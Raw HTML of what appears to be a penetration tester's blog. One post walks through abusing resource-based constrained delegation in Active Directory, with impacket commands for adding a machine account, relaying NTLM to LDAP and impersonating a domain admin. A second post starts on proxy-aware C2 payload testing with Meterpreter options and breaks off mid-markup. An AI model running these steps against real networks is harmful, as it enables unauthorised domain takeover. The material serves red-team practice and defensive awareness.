<div style="line-height: 1.15;"><b style="line-height: 1.15;"><font face="inherit" style="line-height: 1.15;">What Is It?</font></b></div><div style="line-height: 1.15;">Starting with Windows Server 2012, objects in AD could set their
own <i style="font-family: calibri, sans-serif; line-height: 1.15;">msDS-AllowedToActOnBehalfOfOtherIdentity</i><span style="font-family: calibri, sans-serif; line-height: 1.15;"> attribute, effectively allowing
objects to set what remote objects had rights to delegate to them. This allows those remote objects with delegation
rights to impersonate any account in AD to any service on the local
system. Therefore, if we can convince a
remote system to add an object that we control to their
</span><i style="font-family: calibri, sans-serif; line-height: 1.15;">msDS-AllowedToActOnBehalfOfOtherIdentity</i><span style="font-family: calibri, sans-serif; line-height: 1.15;"> attribute, we can use it to
impersonate any other user not marked as ‘Account is sensitive and cannot be
delegated' on it.</span></div><div style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><span style="font-weight: normal; line-height: 1.15;"><br /></span></span></div><div style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><span style="font-weight: normal; line-height: 1.15;"><br /></span></span></div><div style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><span style="font-weight: normal; line-height: 1.15;"><b style="line-height: 1.15;"><font face="inherit" style="line-height: 1.15;">When To Use:</font></b></span></span></div><div style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><span style="font-weight: normal; line-height: 1.15;">Basically, when you’re on a network and want to get a shell on a
different system on that same network segment.
This attack can be ran without needing any prior credentials, as
described by @_dirkjan in his blog here: </span></span><span style="font-weight: normal; line-height: 1.15;"><a href="https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/" style="font-family: calibri, sans-serif; line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;">https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/</span></a><span style="font-family: calibri, sans-serif; line-height: 1.15;">
</span><span style="font-family: calibri, sans-serif; line-height: 1.15;">. However, the method described does require
that a domain controller in the environment is configured with LDAPS, which
seems to be somewhat uncommon based on the environments I’ve tested against
over the past 6 months.</span></span><b style="font-family: calibri, sans-serif; line-height: 1.15; text-indent: -0.5in;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"> </span></b></div><div style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">
</span>
<br />
<div style="font-family: calibri, sans-serif; line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;">I’ll focus on a secondary scenario for this attack – one where you
have compromised a standard low-privilege user account (no admin rights) or a
computer account, and are on a network segment with other systems you want to
compromise</span><span style="font-family: calibri, sans-serif; line-height: 1.15;">.</span></span></div>
<span style="font-family: calibri, sans-serif; line-height: 1.15;">
</span></div>
</div>
<div class="MsoNormal" style="line-height: 1.15;">
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
</div>
<br /></div>
<h4 style="line-height: 1.15;"><b style="font-family: calibri, sans-serif; line-height: 1.15;">Process Walkthrough:</b></h4><div style="line-height: 1.15;"><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;">To begin with, what this attack really needs is *some* sort of
account that is configured with an SPN. This can be a computer account, a user
account that is already configured with an SPN, or can be a computer account we
create using a non-privileged user account by taking advantage of a default
MachineAccountQuota configuration (</span><a href="https://blog.netspi.com/machineaccountquota-is-useful-sometimes/" style="line-height: 1.15;">https://blog.netspi.com/machineaccountquota-is-useful-sometimes/</a><span style="font-family: calibri, sans-serif; line-height: 1.15;">). We need an account that is configured with an
SPN as this is a requirement if we want the TGS produced by S4U2Self to be
forward-able (Read more why this is necessary here: </span><a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#a-misunderstood-feature-1" style="line-height: 1.15;">https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#a-misunderstood-feature-1</a>). <span style="font-family: calibri, sans-serif; line-height: 1.15;">Computer accounts work as by
default they are configured with a variety of SPN’s for all their various Kerberos-enabled
services.</span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<br /></div>
<div class="MsoNormal" style="line-height: 1.15;">
</div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">So, in our example let’s say we only have a low privilege account
(we’ll use the ‘tim’ account). </span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
</div><div style="line-height: 1.15; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNQ7inLRt3fFtvpzLGKm2sxt3TOBXYisDYphLo4ZGXjUId0Nml-js9HmKjIlBX8_yrFW3ClC4q6DspMnTZSgOMzI9109NOVVceijIDga-S0DykThEzSCLWl2_HPK1Ru032NO5Zuyo41IE/s1600/rbcd0.png" style="clear: left; display: inline; line-height: 1.15; margin-bottom: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="384" data-original-width="403" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNQ7inLRt3fFtvpzLGKm2sxt3TOBXYisDYphLo4ZGXjUId0Nml-js9HmKjIlBX8_yrFW3ClC4q6DspMnTZSgOMzI9109NOVVceijIDga-S0DykThEzSCLWl2_HPK1Ru032NO5Zuyo41IE/d/rbcd0.png" /></a></div>
<div class="MsoNormal" style="line-height: 1.15;">
<br /></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">The first step in the process would be to try and create a
computer account, so that we could gain control of an account configured with
SPN’s. </span><span style="font-family: calibri, sans-serif; line-height: 1.15;">To do this, we’ll use a
relatively new impacket example script – addcomputer.py.</span><span style="font-family: calibri, sans-serif; line-height: 1.15;"> </span><span style="font-family: calibri, sans-serif; line-height: 1.15;">This script has a SAMR option to add a new
computer, which functions over SMB and uses the same mechanism as when a new
computer is added to a domain using the Windows GUI.</span></div>
<!--HTML generated using hilite.me--><br />
<div style="background: rgb(248, 248, 248); border: solid gray; line-height: 1.15; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 1.15; margin: 0px;"><span style="color: black; line-height: 1.15;">addcomputer</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">.</span><span style="color: black; line-height: 1.15;">py</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">method</span> <span style="color: black; line-height: 1.15;">SAMR</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">computer</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">pass</span> <span style="color: black; line-height: 1.15;">MADE_UP_PASSWORD</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">computer</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">name</span> <span style="color: black; line-height: 1.15;">MADE_UP_NAME</span> <span style="color: black; line-height: 1.15;">DOMAIN</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">/</span><span style="color: black; line-height: 1.15;">USER</span><span style="color: black; font-weight: bold; line-height: 1.15;">:</span><span style="color: black; line-height: 1.15;">PASSWORD</span>
</pre>
</div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheUmmoey4D4V1NIrygNn5wG1zqsbzKuWuwxdxWTaA6ECbKESSDqwjQTjYICPqGCZEN-UdVy5V1GAKDYupOSrABefvxW_X3EiYJJ93m9LPZUL-9cE77aLOg3ixIaGzWewPijLbs2jbuCQ0/s1600/rbcd1.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="99" data-original-width="974" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheUmmoey4D4V1NIrygNn5wG1zqsbzKuWuwxdxWTaA6ECbKESSDqwjQTjYICPqGCZEN-UdVy5V1GAKDYupOSrABefvxW_X3EiYJJ93m9LPZUL-9cE77aLOg3ixIaGzWewPijLbs2jbuCQ0/d/rbcd1.png" /></a></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">After running this command, your new computer object will be added
to AD (Note: this example script was not fully working for me in python2.7 –
the computer object was added but its password was not being appropriately set. It does work using Python3.6 though.)<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhm8q2KYDmmarxSIWwRPpW2XmWX5F29irtDnWr4M9pkQiuYUnh3w2VP7UZrMYbRfTVf0vfhyphenhyphenKh7umMoQuGxqKQFZis9W5jpSKUKTjgsm9CnvD9NC5hMnRHqaS_QiXvTHRv63Gj-vB326ok/s1600/rbcd2.png" style="line-height: 1.15; margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="95" data-original-width="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhm8q2KYDmmarxSIWwRPpW2XmWX5F29irtDnWr4M9pkQiuYUnh3w2VP7UZrMYbRfTVf0vfhyphenhyphenKh7umMoQuGxqKQFZis9W5jpSKUKTjgsm9CnvD9NC5hMnRHqaS_QiXvTHRv63Gj-vB326ok/d/rbcd2.png" /></a></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">This script was released fairly recently, prior to it I used
PowerMad.ps1 from a Windows VM to perform the same actions. This tool uses a standard LDAP connection vs.
SAMR, but the end result is the same.
For further info on PowerMad I recommend the following: </span><a href="https://github.com/Kevin-Robertson/Powermad" style="line-height: 1.15;">https://github.com/Kevin-Robertson/Powermad</a><span style="font-family: calibri, sans-serif; line-height: 1.15;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<br /></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">If this part of the attack didn’t work, the default
MachineAccountQuota has likely been changed for users in the environment. In that case you’ll need to use alternative
methods to obtain a computer account / user account configured with an
SPN. However, once you have that, you
can continue to proceed as described below.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<br /></div>
<div class="MsoNormal" style="line-height: 1.15;">
</div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">For the next part of the attack we’ll be using mitm6 +
ntlmrelayx. Unlike a traditional NTLM
relay attack, really what we’re interested in is intercepting machine account
hashes, as we can forward them to LDAP on a domain controller. This allows us to impersonate the relayed
computer account and set its <i style="line-height: 1.15;">msDS-AllowedToActOnBehalfOfOtherIdentity</i> attribute
to include the computer object that we control.
Note: We unfortunately can’t relay SMB to LDAP due to the
NTLMSSP_NEGOTIATE_SIGN flag set on SMB traffic, so will be focusing on
intercepting HTTP traffic, such as windows update requests. <o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<br /></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">We’ll first set up
ntlmrelayx to delegate access to the computer account we just made & have
control of (rbcdTest): </span><br />
<!--HTML generated using hilite.me--><br />
<div style="background: rgb(248, 248, 248); border: solid gray; line-height: 1.15; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 1.15; margin: 0px;"><span style="color: black; line-height: 1.15;">ntlmrelayx</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">.</span><span style="color: black; line-height: 1.15;">py</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">wh</span> <span style="color: black; line-height: 1.15;">WPAD_Host</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">--</span><span style="color: black; line-height: 1.15;">delegate</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">access</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">--</span><span style="color: black; line-height: 1.15;">escalate</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">user</span> <span style="color: black; line-height: 1.15;">YOUR_COMPUTER_ACCOUNT</span>\<span style="border: 1px solid rgb(239, 41, 41); color: #a40000; line-height: 1.15;">$</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">t</span> <span style="color: black; line-height: 1.15;">ldap</span><span style="color: black; font-weight: bold; line-height: 1.15;">:</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">//</span><span style="color: black; line-height: 1.15;">DOMAIN_CONTROLLER</span>
</pre>
</div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhUDNL9lBLo1b3uxRkFKB-5-jXI-AvbDoktTwfVqTQgln7amKDcSSX-wweLeFQYhFXQU2d9KboSvvZBrw-QdSMyRG6et5Wbo5V-75UgSR74POvW8fkKCt1ODvwy5Wi4sLEFX7CrxyXDPc/s1600/rbcd3.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><br /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhUDNL9lBLo1b3uxRkFKB-5-jXI-AvbDoktTwfVqTQgln7amKDcSSX-wweLeFQYhFXQU2d9KboSvvZBrw-QdSMyRG6et5Wbo5V-75UgSR74POvW8fkKCt1ODvwy5Wi4sLEFX7CrxyXDPc/s1600/rbcd3.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="259" data-original-width="1005" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhUDNL9lBLo1b3uxRkFKB-5-jXI-AvbDoktTwfVqTQgln7amKDcSSX-wweLeFQYhFXQU2d9KboSvvZBrw-QdSMyRG6et5Wbo5V-75UgSR74POvW8fkKCt1ODvwy5Wi4sLEFX7CrxyXDPc/d/rbcd3.png" /></a></div>
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span>
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;">We next start a relay
attack using mitm6.py or other relay tool, and wait for requests to start
coming in. Eventually you should see
something that looks like the following:</span></span><br />
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE0_gzRCxywaFuKfLiDApQfHnfTFOXtwECC_es4GEbQE1RSCGOJDMaYxgcnep_wKqBCglX3acnc1Uz6bcUOoXaoMVXwDH4qRoHkrfHskzLLOjdbvHR2SzwBPPB4zGaTJdxrLfL2K9KCxM/s1600/rbcd4.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="166" data-original-width="983" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE0_gzRCxywaFuKfLiDApQfHnfTFOXtwECC_es4GEbQE1RSCGOJDMaYxgcnep_wKqBCglX3acnc1Uz6bcUOoXaoMVXwDH4qRoHkrfHskzLLOjdbvHR2SzwBPPB4zGaTJdxrLfL2K9KCxM/d/rbcd4.png" /></a></div>
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">In the above screenshot we can see that we successfully relayed
the incoming auth request made by the server02$ account to LDAP on the domain
controller and modified the object’s privileges to give rbcdTest$ impersonation
rights on the system.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<br /></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">Once we have delegation rights, the rest of the attack is fairly
straightforward. We’ll use another
impacket tool – getST.py – to create the TGS necessary to connect to Server02
using an impersonated identity.</span></div>
<span style="font-family: calibri, sans-serif; line-height: 1.15;">
</span><br />
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">This tool will get us a Kerberos service ticket (TGS) that is
valid for a selected service on the remote system we relayed to LDAP
(Server02). As the rbcdTest$ account has
delegation rights on this system, we are able to impersonate any user that we
want, in this case choosing to impersonate ‘administrator’, a domain admin on
the testlab.local network.</span></div>
<!--HTML generated using hilite.me--><br />
<div style="background: rgb(248, 248, 248); border: solid gray; line-height: 1.15; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 1.15; margin: 0px;"><span style="color: black; line-height: 1.15;">getST</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">.</span><span style="color: black; line-height: 1.15;">py</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">spn</span> <span style="color: black; line-height: 1.15;">cifs</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">/</span><span style="color: black; line-height: 1.15;">Server_You_Relayed_To_Get_RBCD_Rights_On</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">impersonate</span> <span style="color: black; line-height: 1.15;">TARGET_ACCOUNT</span> <span style="color: black; line-height: 1.15;">DOMAIN</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">/</span><span style="color: black; line-height: 1.15;">YOUR_CREATED_COMPUTER_ACCOUNT</span>\<span style="border: 1px solid rgb(239, 41, 41); color: #a40000; line-height: 1.15;">$</span><span style="color: black; font-weight: bold; line-height: 1.15;">:</span><span style="color: black; line-height: 1.15;">PASSWORD</span>
</pre>
</div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvSe2g6JvD_Boo19d63yPG25QfEB4j2ecpSHdlIMGZr6_g5ZK7F8i-mk3tXZFJ48076zldTHKvcCLpXsJIAnElVrfSzypv6cxf-0Hn-Ou9z7DLrcxS1xrNgalDHJbPgdqQ_MKGVzbJlVw/s1600/rbcd5.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="179" data-original-width="1022" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvSe2g6JvD_Boo19d63yPG25QfEB4j2ecpSHdlIMGZr6_g5ZK7F8i-mk3tXZFJ48076zldTHKvcCLpXsJIAnElVrfSzypv6cxf-0Hn-Ou9z7DLrcxS1xrNgalDHJbPgdqQ_MKGVzbJlVw/d/rbcd5.png" /></a></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">With the valid ticket saved to disk, all we need to do is export
it to memory, which will then allow us to remotely connect to the remote system
with administrative privileges:<span style="font-size: 12pt; line-height: 1.15;"><o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: 12pt; line-height: 1.15;"><br /></span></div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPZQ2h8MVh9lged9uLQTSIWmQsxkFIvY-4NsXwFFZLzxWlrzOfZl0kH2M9-WSi711Y1V0CM_bim_Vi-dBx3IbABS2tUVqzL9S1iUjAInHO5LYxJtXCV4nu1EzkfRfFD1Toh2HZAa1RsxE/s1600/rbcd6.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="25" data-original-width="576" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPZQ2h8MVh9lged9uLQTSIWmQsxkFIvY-4NsXwFFZLzxWlrzOfZl0kH2M9-WSi711Y1V0CM_bim_Vi-dBx3IbABS2tUVqzL9S1iUjAInHO5LYxJtXCV4nu1EzkfRfFD1Toh2HZAa1RsxE/d/rbcd6.png" /></a></div>
<br />
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGgVmXMdAVmIYV0HUcxpX6CzVn7XBqszOAqjWtSjDipbRv_irzwCWcDCTgdTS2oGqc_NfZ5uJshTjpOLedYzk_y1u0kIyr099wH1Y49fdDrQI5F1mrM_3x08OW0agDVZEGFLOqrlRr3Mc/s1600/rbcd7.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="214" data-original-width="1098" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGgVmXMdAVmIYV0HUcxpX6CzVn7XBqszOAqjWtSjDipbRv_irzwCWcDCTgdTS2oGqc_NfZ5uJshTjpOLedYzk_y1u0kIyr099wH1Y49fdDrQI5F1mrM_3x08OW0agDVZEGFLOqrlRr3Mc/d/rbcd7.png" /></a></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: 12pt;"><br /></span></div>
</div>
</div>
</div>
<span style="font-family: calibri, sans-serif; font-size: 12pt;"></span></div>
Davehttp://www.blogger.com/profile/17081446936005057389noreply@blogger.com0tag:blogger.com,1999:blog-8176792450471116129.post-72851319392335855422019-09-21T10:44:00.001-05:002020-06-16T08:27:04.955-05:00Proxy-Aware Payload Testing<!--[if !mso]> <style>
v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
w\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
</style> <![endif]--><br />
<h1>
<br />
</h1>
<div class="MsoNormal">
TL;DR - I get told that I am too wordy, so if you want the summary, here are some steps to setup a virtual testing environment to test payloads to see if they can handle HTTP(S) proxies and if so, can they authenticate properly through them as well. This post will cover the proxy setup without authentication since that is the easier part, and I will do a second post shortly to hack together the authentication portion of it.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Skip down to the actual setup <a href="http://blog.redxorblue.com/2019/09/proxy-aware-payload-testing.html#pastthefluff">here</a> if you wanted to skip the fluff.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<h1>
<span style="color: #0b5394;"> Introduction:</span><o:p></o:p></h1>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
There have been times in my red teaming and pentesting experience that I have run into networks where direct outbound traffic to the internet (or in some cases out of the subnet) is completely restricted. When I say direct, I mean that all DNS traffic first goes to an internal DNS server, all web traffic goes through an internal proxy, email to an internal SMTP/IMAP server, etc. From the client workstation to any internet IP address is dropped for TCP, UDP, and ICMP. For the blue teamers reading this post, this is something I highly recommend pushing for in your environment if it is not already the case. This not only allows for better monitoring but also breaks a large amount of commodity malware (and some red team tools) from working. It is one of my favorite incidental preventative controls.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
In these cases, we need tools that can communicate out in an indirect manner. The choice of a TCP reverse shell or meterpreter payload are gone. Even default settings for meterpreter HTTP(S) payloads will be blocked since they don’t try to use a proxy by default.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
There are times where I might consider C2 over DNS or SMTP, but these can be loud or somewhat complicated respectively. For this purpose, I often look to C2 tools that can use HTTP to communicate and either handle proxies by default or provide configuration options to allow you to set proxy settings for the payload.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
I don’t plan to go through all of the C2 tools out there and talk about how they handle or can be made to handle HTTP proxies, but I will quickly highlight some of the different scenarios to show why having an environment test all parts of a proxy connection may be useful to C2 developers and the users of those tools.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<h2>
<span style="color: #0b5394;"> Meterpreter:</span><o:p></o:p></h2>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
By default, payload/windows/meterpreter/reverse_http and similar payloads are not proxy aware. These payloads will attempt to go directly to the IP address set for RHOST or resolve the hostname for RHOST then try to go directly to that IP address. Once a connection is established (SYN/ACK), then the traffic sent over that connection will be HTTP.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
If traffic for direct outbound connections for your target is blocked, the initial TCP connection will fail and you will not get your shell. Sad day…<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
All is not lost though if you really want to use meterpreter over HTTP in this environment and you already have gained access to some information. The payload/windows/meterpreter/reverse_http and similar Windows payloads have the following advanced options available:<o:p></o:p></div>
<div class="MsoListParagraphCxSpFirst" style="text-indent: -0.25in;">
<!--[if !supportLists]-->-<span style="font: 7pt "times new roman";"> </span><!--[endif]-->HttpProxyHost<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="text-indent: -0.25in;">
<!--[if !supportLists]-->-<span style="font: 7pt "times new roman";"> </span><!--[endif]-->HttpProxyPass<o:p></o:p></div>
<div class="MsoListParagraphCxSpMiddle" style="text-indent: -0.25in;">
<!--[if !supportLists]-->-<span style="font: 7pt "times new roman";"> </span><!--[endif]-->HttpProxyPort<o:p></o:p></div>
<div class="MsoListParagraphCxSpLast" style="text-indent: -0.25in;">
<!--[if !supportLists]-->-<span style="font: 7pt "times new roman";"> </span><!--[endif]-->HttpProxyUser<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTPbEOzEgo1wK1Ws4Q-2TNP5VFpioiYVLRkx7SMQxfz3R5JFvg3MhTeGKluE8vs3tdwuR7ya7CH69cqP6v66BaTqHDMjXqL6n3BpdgdY14-hZ3GZDb8yVUtFNrLE0h3zs7OY36T9722UI_/s1600/MeterpreterSettings.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="984" data-original-width="1036" height="303" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTPbEOzEgo1wK1Ws4Q-2TNP5VFpioiYVLRkx7SMQxfz3R5JFvg3MhTeGKluE8vs3tdwuR7ya7CH69cqP6v66BaTqHDMjXqL6n3BpdgdY14-hZ3GZDb8yVUtFNrLE0h3zs7OY36T9722UI_/s320/MeterpreterSettings.png" width="320" /></a></div>
<div class="MsoNormal">
<!--[if gte vml 1]><v:shapetype
id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t"
path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"> <v:stroke joinstyle="miter"/> <v:formulas> <v:f eqn="if lineDrawn pixelLineWidth 0"/> <v:f eqn="sum @0 1 0"/> <v:f eqn="sum 0 0 @1"/> <v:f eqn="prod @2 1 2"/> <v:f eqn="prod @3 21600 pixelWidth"/> <v:f eqn="prod @3 21600 pixelHeight"/> <v:f eqn="sum @0 0 1"/> <v:f eqn="prod @6 1 2"/> <v:f eqn="prod @7 21600 pixelWidth"/> <v:f eqn="sum @8 21600 0"/> <v:f eqn="prod @7 21600 pixelHeight"/> <v:f eqn="sum @10 21600 0"/> </v:formulas> <v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/> <o:lock v:ext="edit" aspectratio="t"/> </v:shapetype><v:shape id="Picture_x0020_4" o:spid="_x0000_i1028" type="#_x0000_t75"
style='width:468pt;height:444pt;visibility:visible;mso-wrap-style:square'> <v:imagedata src="file:////Users/nameless/Library/Group%20Containers/UBF8T346G9.Office/TemporaryItems/msohtmlclip/clip_image001.png"
